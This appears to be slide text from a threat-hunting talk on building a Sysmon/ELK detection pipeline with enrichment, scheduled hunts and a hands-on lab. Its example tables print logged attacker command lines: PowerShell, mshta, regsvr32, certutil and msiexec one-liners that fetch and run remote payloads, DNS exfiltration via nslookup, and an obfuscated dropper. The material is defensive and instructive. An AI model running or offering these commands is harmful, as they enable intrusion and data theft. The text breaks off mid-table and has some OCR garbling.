**Set** (key is concatenation of computer_name and ProcessGuid)

**Get** (key is concatenation of computer_name and ParentProcessGuid)
Level 1. TI-Farm. Enrich Sysmon events with additional information about process

We also can enrich different Sysmon events with additional information about process (Command Line User, Integrity Level, Parent Image), which was cached at the process creation time. It is possible because all Sysmon events have unique ProcessGuid:

```bash
else if [source_name] == "Microsoft-Windows-Sysmon" and [event_id] != 1 and [event_data][ProcessGuid] {
  # Enrich event with additional information about process, that initiate action
  memcached {
    #id => "EnrichSysmonEventsWithProcessInfo"
    hosts => ["127.0.0.1:11211"]
    get => {
      "${computer_name}_${[event_data][ProcessGuid]}" => "[@metadata][processinfo]"
    }
  }
  if [@metadata][processinfo] {
    kv {
      source => "[@metadata][processinfo]"
      target => "[@metadata][processinfo]"
      field_split => ","
      value_split => "="
    }
    if [@metadata][processinfo][IntegrityLevel] {
      mutate {
        add_field => { "[event_data][IntegrityLevel]" => "@metadata[processinfo][IntegrityLevel]" }
      }
    }
  }
}
```
Level 1. TI-Farm. Enrich Sysmon events with additional information about process

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.Image</th>
<th>event_data.ProcessGuid</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>Process Create (rule: ProcessCreate)</td>
<td>C:\Windows\System32 \wbem\WMI.exe</td>
<td><code>{68C3D3DC-2F2B-5AFB-0000-00101274A800}</code></td>
</tr>
</tbody>
</table>

Set (key is concatenation of computer_name and ProcessGuid)

Get (key is concatenation of computer_name and ProcessGuid)
Level 1. TI-Farm. Enrich successful network logon events with real IP address from DHCP log

Add to cache information about Hostname-IP combinations from the DHCP events

```ruby
ruby {
  code => "event.set('[$metadata][hostname]', event.get('Host').split('.').first.upcase)"
}
# Create or update hostname-IP in memcached
if [Host] and [Host] != '' and [IP] and [IP] != '' { memcached {
  hosts => ['127.0.0.1:11211']
  set => {
    "[IP]" => "dhcp_%{[$metadata][hostname]}"
  }
  ttl => 86400
}
# Take IP from network logon event and check is there workstation name for this IP in memcached
# If, is take this name from memcached and put in the event (we will use it to detect ntlm relay)
if [event_data][WorkstationName] and [event_data][WorkstationName] != "-" { memcached {
  hosts => ['127.0.0.1:11211']
  get => {
    "dhcp_%{[event_data][WorkstationName]}" => "[event_data][DhcpSourceIp]"
  }
}
```

Get from cache real IP of the workstation by its hostname.

Below there is example of the successful network logon event in case of NTLM relay attack:

<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.LogonType</th>
<th>event_data.TargetUserName</th>
<th>event_data.SourceIp</th>
<th>event_data.WorkstationName</th>
<th>event_data.DhcpSourceIp</th>
</tr>
</thead>
<tbody>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>4,624</td>
<td>3</td>
<td>user</td>
<td>192.168.220.66</td>
<td>VICTIM</td>
<td>192.168.220.100</td>
</tr>
</tbody>
</table>
Level 2. TTP-based detection

Level 2 is implemented as scheduled search queries (we call them ‘hunts’), that find potentially suspicious events and tag them with search name, stage of attack and if possible – MITRE Technique:

<table>
<thead>
<tr>
<th>Time</th>
<th>computer_name</th>
<th>hunts</th>
<th>attack_stages</th>
<th>attack_ttps</th>
</tr>
</thead>
<tbody>
<tr>
<td>15.05.2018, 22:04:34.958</td>
<td>VICTIN.testdomain.com</td>
<td>wmi_squiriblytwo_atteck</td>
<td>Execution, Command and Control, Defense Evasion</td>
<td>T1047: Windows Management Instrumentation</td>
</tr>
<tr>
<td>15.05.2018, 22:03:15.216</td>
<td>VICTIN.testdomain.com</td>
<td>using_msiexec_to_execute_msi_by_url</td>
<td>Execution, Command and Control, Defense Evasion</td>
<td>-</td>
</tr>
<tr>
<td>15.05.2018, 22:02:59.944</td>
<td>W2012r2-DC01.testdomain.com</td>
<td>privileged_network_logon_from_non_admin_host</td>
<td>Lateral Movement</td>
<td>-</td>
</tr>
<tr>
<td>15.05.2018, 22:00:13.358</td>
<td>VICTIN.testdomain.com</td>
<td>copy_executables_or_scripts_via_admin_share</td>
<td>Lateral Movement</td>
<td>T1077: Windows Admin Shares</td>
</tr>
</tbody>
</table>
Level 2. TTP-based detection

For search queries scheduling it is possible to use commercial X-Pack Watcher from Elasticsearch. But also there are some open source projects. One of them is “411” – https://github.com/etsy/411:
Level 2. TTP-based detection. 411 search pipeline

Searches query data from the Elasticsearch and other sources, supported by 411.
Filters allow to add, modify or remove Alerts from the Search pipeline. Filters are registered under Searches, with each Search having its own set of Filters.
Targets allow to send generate Alerts to other services. Targets (like Filters) are registered under Searches, with each Search having its own set of Targets.

It is possible to add new Target types to the 411. So, using this opportunity Target ‘Hunt’ was added.
Level 2. TTP-based detection. 411 Hunt Target

Target ‘Hunt’ send update request to the RabbitMQ. As tag this target uses search name. Along with tag it also send to the RabbitMQ the array of attack stages and MITRE Technique:

Hunt Target builds JSON like this and sends it to the RabbitMQ for further tagging of event in ES:

```json
{
    "hunts": ["suspicious_powershell_cmdline_downloading"],
    "attack_stages": ["Command and Control"],
    "attack_ttps": ["T1086: PowerShell"],
    "@metadata": {
        "_index": "logstash-2018.05.10",
        "_id": "d8rPg2MBVcQq8ZOpmKpK",
        "_type": "doc"
    }
}
```
Level 2. TTP-based detection. 411 Hunt Target

Example of data that 411 Hunt Target sends to the RabbitMQ for further event tagging

```
{"hunts":["suspicious_powershell_cmdline_downloading"],"attack_stages":["Command and Control"],"attack_ttps":["T1086: PowerShell"],"@metadata":{"_index":"logstash-2018.05.10","_id":"d8rPg2MBVcQq8ZOpKpK","_type":"doc"}}
```

Logstash Elasticsearch output for updating events with hunts

Logstash RabbitMQ Input

```ruby
input {
  rabbitmq {
    host = "127.0.0.1"
    port = 5672
    user = "enricher"
    password = "zmgenricher"
    queue = "event_enrich_queue"
    passive = true
    exclusive = false
    durable = true
    auto_delete = false
    subscription_retry_interval_seconds => 3
    threads => 2
    prefetch_count => 256
  }
}
```
Level 3. Analyst. Kibana Discovery
Level 3. Analyst. Kibana Visualizations and Dashboards

Detected MITRE Techniques

<table>
<thead>
<tr>
<th>MITRE TTP</th>
<th>Link</th>
<th>Hunts count</th>
<th>Computers count</th>
<th>Events count</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1003: Credential Dumping</td>
<td>T1003</td>
<td>2</td>
<td>2</td>
<td>250</td>
</tr>
<tr>
<td>T1055: Process Injection</td>
<td>T1055</td>
<td>1</td>
<td>1</td>
<td>72</td>
</tr>
<tr>
<td>T1047: Windows Management Instrumentation</td>
<td>T1047</td>
<td>4</td>
<td>1</td>
<td>56</td>
</tr>
<tr>
<td>T1210: Exploitation of Remote Services</td>
<td>T1210</td>
<td>4</td>
<td>2</td>
<td>43</td>
</tr>
<tr>
<td>T1077: Windows Admin Shares</td>
<td>T1077</td>
<td>1</td>
<td>1</td>
<td>35</td>
</tr>
<tr>
<td>T1086: PowerShell</td>
<td>T1086</td>
<td>2</td>
<td>1</td>
<td>24</td>
</tr>
<tr>
<td>T1202: DCSHadow</td>
<td>T1202</td>
<td>2</td>
<td>1</td>
<td>24</td>
</tr>
</tbody>
</table>

Triggered hunts attack stages

- Lateral Movement
- Credential Access
- Defense Evasion
- Execution
- Command and Control
- Persistence
- Privilege Escalation
- Discovery

Triggered hunts

- wmi_squiblytwo_attack
- wmi_squiblydoo_attack
- using_msexec_to_execute_msi_by_url
- suspicious_services_remote_execution_tools
- suspicious_services_credential_dumping_tools
- suspicious_service_that_start_executable_from_windows_global_directory
- suspicious_processes_spawned_from_ms_office
- suspicious_powershell_execution_of_encoded_script

Hunting dashboard: computers by unique hunts

VICTIM.testdomain.com
W2012r2-9G01.testdomain.com

Assets criticality distribution

- Medium
- High

Hunting dashboard: PC with hunts

<table>
<thead>
<tr>
<th>Computer</th>
<th>Hunts count</th>
<th>Suspicious events count</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>28</td>
<td>4,219</td>
</tr>
<tr>
<td>W2012r2-9G01.testdomain.com</td>
<td>23</td>
<td>21,341</td>
</tr>
</tbody>
</table>
Practice
Practice
Practice
Lab VMs in OVA format

Do it after importing the VMs and configuring virtual network

Lab VMs in VirtualBox format

Step-by-Step descriptions of Lab attack scenarios

How to configure your Lab virtual network
Lab Network Configuration

- Dynamic: 10.0.2.0/24 (NAT net with DHCP)
- Dynamic: 192.168.220.0/24 (Host-Only net #2)

**Hosts and Services**
- **DC DNS DHCP Mail**
- **Windows Server Windows Server 2012R2 192.168.220.11**
- **Windows Workstation Windows 7 192.168.220.100 (DHCP)**
- **Attacker Kali Linux 192.168.220.66**
- **ELK (Elasticsearch + Logstash + Kibana)**
  - Apache
  - MySQL
  - Memcached
  - RabbitMQ
  - Samba

**Network Addresses**
- **.11**
- **.100 (DHCP)**
- **.66**
- **.1**
- **enp0s3: Dynamic (Vbox NAT)**
  - **enp0s8: 192.168.220.1**
What you need to do before the start

- Replace Sysmon config (file “config.xml”) on the Win2012DC VM
- Replace Logstash config on the ELK VM (folder “logstash”)
- Deploy hunts on the ELK VM (file “data.db”)
- Import Kibana saved searches (file “kibana_all_staff.json”)
- If you are not going to perform attack scenarios, import test data to the Elasticsearch (file “TestEvents.rar”)

How to do this is described in the instruction “!!!What you need to do before the start”.

https://yadi.sk/d/qB1PNBj_3ViWHe
Hands-on lab attack scenario 1

- Phishing email with bad DOC as an attachment
- Execution via Dynamic Data Exchange (DDE)
- Using different built-in tools to download and execute payloads (wmic, regsvr32, msiexec, bitsadmin, certutil)
- Process Injection
- Two-step privilege escalation: User -> NETWORK SERVICE (via weak service permissions) -> SYSTEM (via access token manipulation)
- UAC Bypass, using Event Viewer
- Lateral movement via service execution
- Lateral movement via Task Scheduler
- Credentials dumping from memory
- Remote credentials dumping via DCSync
- DCShadow
- WMI Persistence
- Task Scheduler Persistence

https://yadi.sk/d/qB1PNBj_3ViWHe
Hunting. Parent/child process relationships. MS Office apps abusing Real-life examples

Winword/Excel -> cmd – unusual, suspicious parent/child combination

<table>
<thead>
<tr>
<th>Time</th>
<th>parentprocessfilepath</th>
<th>processfilepath</th>
<th>filecmdline</th>
<th>aps_hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>2018-04-23 12:33:39</td>
<td>C:\Program Files\Microsoft Office\Office16\OUTLOOK\OK.EXE</td>
<td>c:\program files\microsoft office\office16\w inword.exe</td>
<td>Cmd jwj5PmRkzT SjLsh1rGFGOXiUttkPv GtpwULkbjimR8 &amp; %c0a%mS%p%E%c% %c0a%mS%p%E%c% %v /c set %hrPwY171LXM50%i=cbAnG2P&amp;set %E1qQV8bV%p&amp;set %TnKQDbAbE%0w&amp;set %CDPggCGw1nHAThB%inMqRLP&amp;set %Nw0umPHoF%f1=NEeqqV2bV%cX%&amp;set %jHPDRoPkBNEjB%v=1Zdj7TVT&amp;set %zrCFbP%NU%e%7n&amp;set %UXJKR%pl%1%7%LbCdQdE%1n&amp;set %RJxjPnnmpVCEF%A=s&amp;set %aXRAVbnmK0%i=K5QsU2v&amp;set %RqC1xR%SlC2j=hes&amp;set %NOxVbOo%!1T%eIeP0nUX%17Fb!!1%UXJKR%li%161%zxfbP%NU%1%RXjnPnmPVeF%A%1%9zctRxSbC8!!%kNCwOo%! &quot; ( [RunTime.InTerOpsERCiVEs.mArShal].getmemBEs()</td>
<td></td>
</tr>
</tbody>
</table>

Excel document that launch cmd via DDE -> nslookup for exfiltration of some environment information

<table>
<thead>
<tr>
<th>Time</th>
<th>processfilepath (x86)</th>
<th>file_path</th>
<th>filecmdline</th>
<th>aps_hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017-11-20 12:36:52</td>
<td>c:\program files\office\office14\excel.exe</td>
<td>c:\windows\sys swow64\cmd.exe</td>
<td>CMD.EXE /C nslookup %COMPUTERNAME%\USERNAME%%USERDOMAIN%%LO CONSERVERS%%RANDOM%\zap.kompany.tk</td>
<td>suspicious_powershell_cmd_or_script_spawning, dns_exfiltration_via_nslookup</td>
</tr>
</tbody>
</table>
Hunting. Parent/child process relationships. MS Office apps abusing Real-life examples

Excel download, decode and execute DLL library via rundll32 (example of CSV Excel formula injection)

Excel -> certutil/rundll32 – unusual, suspicious parent/child combinations

Rundll32 -> cmd is also not so typical

<table>
<thead>
<tr>
<th>computer_name</th>
<th>processfilepath</th>
<th>file_path</th>
<th>filecmdline</th>
<th>ops_hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>DAWLISH-PC.</td>
<td>c:\program files\microsoft office\office15\outlook.exe</td>
<td>c:\program files\microsoft office\office15\excel.exe</td>
<td>&quot;C:\Program Files\Microsoft Office\Office15\EXCEL.EXE&quot; /ddee</td>
<td>-</td>
</tr>
<tr>
<td>DAWLISH-PC.</td>
<td>c:\program files\microsoft office\office15\excel.exe</td>
<td>c:\windows\system32\certutil.exe</td>
<td>&quot;MSEXCEL.EXE ......\Windows\System32\certutil.exe&quot; -urlcache-split-f <a href="http://192.168.117.171/c_20273.txt">http://192.168.117.171/c_20273.txt</a> C:\Users\Public\C_20273.txt C:\Users\Public\C_20273.dll</td>
<td>suspicious_certutil_usage_downloading_or_remote_interaction, suspicious_process_spawned_by_office_application</td>
</tr>
<tr>
<td>DAWLISH-PC.</td>
<td>c:\program files\microsoft office\office15\excel.exe</td>
<td>c:\windows\system32\certutil.exe</td>
<td>&quot;MSEXCEL.EXE ......\Windows\System32\certutil.exe&quot; -decode C:\Users\Public\C_20273.txt C:\Users\Public\C_20273.dll</td>
<td>suspicious_certutil_usage_decoding, suspicious_process_spawned_by_office_application</td>
</tr>
<tr>
<td>DAWLISH-PC.</td>
<td>c:\program files\microsoft office\office15\excel.exe</td>
<td>c:\windows\system32\rundll32.exe</td>
<td>&quot;MSEXCEL.EXE ......\Windows\System32\rundll32.exe&quot; shell132.dll Control_Rundll C:\Users\Public\C_20273.dll</td>
<td>suspicious_process_spawned_by_office_application</td>
</tr>
<tr>
<td>DAWLISH-PC.</td>
<td>c:\windows\system32\rundll32.exe</td>
<td>c:\windows\system32\cmd.exe</td>
<td>C:\windows\system32\cmd.exe</td>
<td>suspicious_powershell_cmd_or_script spawning</td>
</tr>
</tbody>
</table>

http://georgemauer.net/2017/10/07/csv-injection.html
Hunting. Parent/child process relationships. MS Office Equation Editor vulnerability. Real-life examples

Word documents with CVE-2018-0802 exploits

Eqnedt32.exe -> any – unusual. Equation Editor usually doesn’t spawn any processes at all

Also there are some other interesting techniques – executing file delivered via WebDAV, using mshta to execute hta from URL

<table>
<thead>
<tr>
<th>Time</th>
<th>processfilepath</th>
<th>file_path</th>
<th>filecmdline</th>
<th>aps_hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017-12-07 11:45:47</td>
<td>c:\program files\microsoft office\office14\outlook.exe</td>
<td>c:\program files\microsoft office\office14\winword.exe</td>
<td>&quot;C:\Program Files\Microsoft Office\Office14\WINWORD.EXE&quot; /n 'C:\Users[username]\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook[path]\Jan.doc'</td>
<td>-</td>
</tr>
<tr>
<td>2017-12-07 11:47:03</td>
<td>c:\program files\common files\microsoft shared\equation\eqnedt32.exe</td>
<td>c:\windows\system32\cmd.exe</td>
<td>cmd /cstart \185.62.189.215[path]\Jan.exe &amp; DDOScc ms_office_equation_editor_activity, using_standard_tools_to_execute_payload_from_share_or_webdav</td>
<td>-</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Time</th>
<th>processfilepath</th>
<th>file_path</th>
<th>filecmdline</th>
<th>aps_hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017-11-22 12:17:14</td>
<td>c:\program files (x86)\microsoft office\office14\outlook.exe</td>
<td>c:\program files (x86)\microsoft office\office14\winword.exe</td>
<td>&quot;C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE&quot; /Embedding</td>
<td>-</td>
</tr>
<tr>
<td>2017-11-22 12:17:30</td>
<td>c:\program files (x86)\common files\microsoft shared\equation\eqnedt32.exe</td>
<td>c:\windows\syswow64\mshta.exe</td>
<td>mshta <a href="http://104.254.99.77/x.txt">http://104.254.99.77/x.txt</a></td>
<td>bad_url_in_cmdline, using_mshta_to_execute_hta_from_url, ms_office_equation_editor_activity</td>
</tr>
</tbody>
</table>

ASP.NET Web-application hacking -> SQL Injection -> Powershell launching via xp_cmdshell

**Database service process -> cmd/powershell** – unusual, suspicious parent/child combination

```plaintext
processfilepath  | filecmdline  | aps_hunts
-----------------|--------------|------------
c:\program files\microsoft sql server\mssql\bin\sqlservr.exe | "C:\\Windows\\system32\\cmd.exe" /c powershell.exe -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString("http://192.168.117.171:8000/invoke_test_new");Invoke-Shellcode -force | suspicious_powershell_cmd_or_script_spawning
```

Drive-by compromise. Successful Opera vulnerability exploitation

**Browser process -> cmd** – also unusual parent/child combination

```plaintext
processfilepath  | filecmdline  | eps_hunts
-----------------|--------------|-------------
c:\\programs\\opera_ace\opera.exe | cmd.exe /q /c cd /d "%tmp%" & & echo function _{k,e}[]{for var l=0,n,c=[],F=255,S=String,q=
[](b=0;255^b;for(b=0;255^b;b++)l+=c[b]=e.charCodeAt(b)*e.length)&F,n=c[b],c[b]=c[l],c[l]=n;for(var
p=1;b=0;p<n.length;pp++)b+=1&F,n+=c[b]^F,n+=c[b]=c[l],c[l]=n,q.push(S.fromCharCode(c.charCodeAt(p)&^c[b]+c[l]^F&F
));return q"join"("");function V(k){var y=a("".""+Request.5.i."");p="GET";y.setRequestHeader(n);y["open"],
(pi,k(1),l);y.Option(n)="1(k)";y["send"]();y.WaitForResponse();N="status";V="responseText";if(200==y[N])return
(_y[N],k(n)));try{u=nScript,os=Object,A=Math,a=Function("wW","return u.Create"+o+"("wW")",s=a("ADODB.Stream"));p=
(""+u).split(" ") | echo_in_file
```

```plaintext
```
Hunting. Parent/child process relationships
Hands-on lab attack scenario 1

Saved search “Suspicious processes spawned from MS Office applications”:

```
(event_id:(1 OR 4688) AND (event_data.ParentOfParent:"*\excel.exe" "*\winword.exe" "*\powerpnt.exe" "*\msaccess.exe" "*\mspub.exe" "*\outlook.exe") OR event_data.ParentImage("*\excel.exe" "*\winword.exe" "*\powerpnt.exe" "*\msaccess.exe" "*\mspub.exe" "*\outlook.exe")) AND event_data.Image("*\cmd.exe" "*\powershell.exe" "*\wscript.exe" "*\cscript.exe" "*\bitsadmin.exe" "*\certutil.exe" "*\schtasks.exe" "*\rundll32.exe" "*\regsvr32.exe" "*\wmic.exe" "*\mshta.exe" "*\msiexec.exe" "*\schtasks.exe" "*\msbuild.exe")
```

<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.ParentOfParent</th>
<th>event_data.ParentImage</th>
<th>event_data.Image</th>
<th>hunts</th>
<th>attackttps</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>1</td>
<td>C:\Program Files\Microsoft Office\Office15\WINWORD.EXE</td>
<td>C:\Windows\System32\cmd.exe</td>
<td>wmic.exe os get FORMAT:file://192.168.220.1/template.xsl</td>
<td>suspicious_processes_spawned_from_ms_office, wmi_squiblytwo_attack</td>
<td>T1047: Windows Management Instrumentation</td>
</tr>
<tr>
<td>VICTIM.testdomain.com</td>
<td>1</td>
<td>C:\Program Files\7-Zip\7zFM.exe</td>
<td>C:\Program Files\Microsoft Office\Office15\WINWORD.EXE</td>
<td>c:\windows\System32\cmd.exe /k wmic.exe os get FORMAT:file://192.168.220.1/template.xsl</td>
<td>suspicious_processes_spawned_from_ms_office, wmi_squiblytwo_attack</td>
<td>T1047: Windows Management Instrumentation</td>
</tr>
</tbody>
</table>
Hunting. Process Injection

- Process injection is a method of executing arbitrary code in the address space of a separate live process.
- Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.
- Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

http://struppigel.blogspot.co.uk/2017/07/process-injection-info-graphic.html
Hunting. Process Injection

If you want to read more about process injection techniques...


https://www.endgame.com/blog/technical-blog/hunting-memory
### Hunting. Process Injection

**Real-life examples**

<table>
<thead>
<tr>
<th>Andromeda Backdoor</th>
<th>Source Process</th>
<th>Target Process</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>computer_name</strong></td>
<td><strong>event subtype</strong></td>
<td><strong>process file path</strong></td>
</tr>
<tr>
<td></td>
<td>6</td>
<td><code>c:\windows\system32\svchost.exe</code></td>
</tr>
<tr>
<td></td>
<td>3</td>
<td><code>c:\programdata\{c990080d-9074-dfca-cc9f-0b284bc25516}\642f8d892.exe</code></td>
</tr>
<tr>
<td></td>
<td>6</td>
<td><code>c:\windows\system32\svchost.exe</code></td>
</tr>
<tr>
<td></td>
<td>6</td>
<td><code>c:\windows\system32\svchost.exe</code></td>
</tr>
</tbody>
</table>

Subtype 6 in our agent – code injection using CreateRemoteThread, NtCreateThreadEx or RtlCreateUserThread API

Subtype 3 – code injection, using ZwQueueApcThread (old APC injection technique, Atom Bombing)
Hunting. Process Injection
Real-life examples

Cobalt Goblin post-exploitation

<table>
<thead>
<tr>
<th>computer_name</th>
<th>eventsubtype</th>
<th>processfilepath</th>
<th>processintegritylevel</th>
<th>file_path</th>
<th>targetprocessintegritylevel</th>
<th>ops_hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>pc-o.bank.ru</td>
<td>6</td>
<td>c:\appdata\roaming\rad8cf9\6.tmp</td>
<td>12,288</td>
<td>c:\program files (x86)\cisco\cisco anycall secure mobility client\acnamloginagent.exe</td>
<td>16,384</td>
<td>suspicious_code_injection, possible privilege escalation to system via code injection</td>
</tr>
<tr>
<td>pc-o.bank.ru</td>
<td>6</td>
<td>c:\appdata\roaming\rad8cf9\6.tmp</td>
<td>12,288</td>
<td>c:\windows\system32\wbem\wmicprivse.exe</td>
<td>16,384</td>
<td>suspicious_code_injection, possible privilege escalation to system via code injection</td>
</tr>
<tr>
<td>pc-o.bank.ru</td>
<td>6</td>
<td>c:\appdata\roaming\rad8cf9\6.tmp</td>
<td>12,288</td>
<td>c:\program files\common files\apple\mobile devicesupport\applemobiledevicesservice.exe</td>
<td>16,384</td>
<td>suspicious_code_injection, possible privilege escalation to system via code injection</td>
</tr>
<tr>
<td>pc-o.bank.ru</td>
<td>6</td>
<td>c:\appdata\roaming\rad8cf9\6.tmp</td>
<td>12,288</td>
<td>c:\windows\ccm\renctrl\carcservice.exe</td>
<td>16,384</td>
<td>suspicious_code_injection, possible privilege escalation to system via code injection</td>
</tr>
</tbody>
</table>

Subtype 6 in our agent – code injection using CreateRemoteThread, NtCreateThreadEx or RtlCreateUserThread API
Hunting. Parent/child process relationships
Hands-on lab attack scenario 1. Meterpreter migrate command

Saved search “Suspicious Code Injection”:

```plaintext
event_id:8 AND source_name:"Microsoft-Windows-Sysmon" AND - (event_data.SourceImage:"*\VBoxTray.exe" AND event_data.TargetImage:"*\csrss.exe") AND -(event_data.StartFunction:EtwpNotificationThread AND event_data.SourceImage:"*\rundll32.exe")
```

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.SourceImage</th>
<th>event_data.SourceProcessId</th>
<th>event_data.TargetImage</th>
<th>event_data.TargetProcessId</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>VICTIM.testdomain.com</td>
<td>CreateRemoteThread detected (rule: CreateRemoteThread)</td>
<td>C:\Windows\System32\wbem\WMIC.exe</td>
<td>3484</td>
<td>C:\Windows\explorer.exe</td>
<td>996</td>
<td>suspicous_code_injection</td>
</tr>
</tbody>
</table>
Hunting. Windows oneliners to download remote payload and execute arbitrary code

There are a lot of built-in tools in Windows, that can be used to download remote payload. Some of them in addition to downloading can also be used to execute downloaded payload.

Possible tools: powershell.exe, wmic.exe, regsvr32, rundll32.exe, mshta.exe, regasm.exe, regsvc.exe, odbcconf.exe, msbuild.exe, certutil.exe, bitsadmin.exe, ftp.exe...

https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/

https://gist.github.com/HarmJ0y/bb48307ffa663256e239
Hunting. Windows oneliners to download remote payload and execute arbitrary code. Real-life examples

Malicious chm form email attachment -> **mshta** (download and execute hta payload) -> **powershell** (download binary payload) -> execution of downloaded payload

<table>
<thead>
<tr>
<th>computer_name</th>
<th>process_filepath</th>
<th>filecmdline</th>
<th>file_md5</th>
<th>aps_hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>petrov.domain.com</td>
<td>c:\windows\explorer.exe</td>
<td>&quot;C:\Windows\System32\rundll32.exe&quot;</td>
<td>0xESD8493F</td>
<td>-</td>
</tr>
<tr>
<td></td>
<td></td>
<td>&quot;C:\Windows\system32\shell32.dll,OpenAc_RunDLL&quot;</td>
<td>8B86FC695C</td>
<td>-</td>
</tr>
<tr>
<td></td>
<td></td>
<td>&quot;C:\Users\IEUser\Desktop\Договор наименания\Договор наименования.chm&quot;</td>
<td>6F2F7F22C95</td>
<td>-</td>
</tr>
<tr>
<td>petrov.domain.com</td>
<td>c:\windows\hh.exe</td>
<td>&quot;C:\Windows\System32\mshta.exe&quot; &quot;<a href="HTTP://139.99.156.100/i">HTTP://139.99.156.100/i</a>&quot;</td>
<td>0xABF692D</td>
<td>using_mshta_to_execute_hta_from_url</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>9FE43B2A0F</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>E6B5A5CB95</td>
<td></td>
</tr>
<tr>
<td>petrov.domain.com</td>
<td>c:\windows\sys32\mshta.exe</td>
<td>&quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&quot; -WindowStyle Hidden -c (New-Object System.Net.WebClient).DownloadFile(&quot;<a href="HTTP://139.99.156.100/j">HTTP://139.99.156.100/j</a>&quot;, 'C:\Users\IEUser\AppData\Local\Temp\rpc32.exe');&quot;C:\Users\IEUser\AppData\Local\Temp\rpc32.exe;taskkill /f /im mshta.exe;&quot;</td>
<td>0x92F44E405</td>
<td>suspicious_powershell_command_or_script_spawning, suspicious_powershell_command_download, using_mshta_to_execute_hta_from_url</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>0B16AC55D97</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>E8FEB3B123F</td>
<td></td>
</tr>
<tr>
<td>petrov.domain.com</td>
<td>c:\windows\system32\powershell.exe\v1\1.0\powershell.exe</td>
<td>&quot;C:\Users\IEUser\AppData\Local\Temp\rpc32.exe&quot;</td>
<td>0x404D69C88</td>
<td>-</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>7D37552279</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>AFE50072A1F</td>
<td></td>
</tr>
<tr>
<td>petrov.domain.com</td>
<td>c:\windows\system32\taskkill.exe</td>
<td>&quot;C:\Windows\System32\taskkill.exe&quot; /f /im mshta.exe</td>
<td>0x94EDCAFBD</td>
<td>-</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>5B84C979B385</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>ADEE14B08A8</td>
<td></td>
</tr>
</tbody>
</table>
Hunting. Windows oneliners to download remote payload and execute arbitrary code. Real-life examples

Really suspicious ASEPs on this server 😊 Msiexec, regsvr32, ftp, and also there was WMI subscription…

<table>
<thead>
<tr>
<th>Time</th>
<th>computer_name</th>
<th>file_path</th>
<th>filecmdline</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017-05-31 20:46:00</td>
<td>Buh_Server_Inet</td>
<td>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:start</td>
<td>regsvr32 /u /s /i:<a href="http://js.mykings.top:280/v.sct">http://js.mykings.top:280/v.sct</a> scrobj.dll</td>
</tr>
<tr>
<td>2017-05-31 20:46:00</td>
<td>Buh_Server_Inet</td>
<td>C:\Windows\System32\Tasks\Mysa</td>
<td>cmd /c echo open.down.mykings.info;echo test;echo 1433;echo binary;echo get a.exe;echo bye;ftp -s:s&amp;a.exe</td>
</tr>
<tr>
<td>2017-05-31 20:46:00</td>
<td>Buh_Server_Inet</td>
<td>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:start1</td>
<td>msiexec.exe /i <a href="http://js.mykings.top:280/helloworld.msi">http://js.mykings.top:280/helloworld.msi</a> /q</td>
</tr>
</tbody>
</table>

Another examples of msiexec in autorun

<table>
<thead>
<tr>
<th>Time</th>
<th>autorun_entries</th>
<th>filecmdline</th>
</tr>
</thead>
<tbody>
<tr>
<td>2018-04-10 15:54:39</td>
<td>tsched\Duzojeto, tsched\Duzojeto, hklm\software\microsoft\windows nt\currentVersion\Schedule\TaskCache\Tasks{D9b745da-AC7E-45c5-9701-516745Bb0791}, c:\windows\system32\tasks\duzojeto, hklm\software\microsoft\windows NT\CurrentVersion\Schedule\TaskCache\Tasks{D9b745da-AC7E-45c5-9701-516745Bb0791}, c:\windows\system32\tasks\duzojeto</td>
<td>msiexec /i <a href="http://d2buh1bf1q584w.cloudfront.net/msi/rel.php?u=ST50LMO21-1KJ152_w62D77LJXXWWW62D77LJ&amp;v=201723">http://d2buh1bf1q584w.cloudfront.net/msi/rel.php?u=ST50LMO21-1KJ152_w62D77LJXXWWW62D77LJ&amp;v=201723</a> /q</td>
</tr>
<tr>
<td>2017-09-29 16:48:51</td>
<td>hku\s-1-5-21-1116679210-2555003601-132610082-1000\software\microsoft\windows\CurrentVersion\Policies\System\Shell</td>
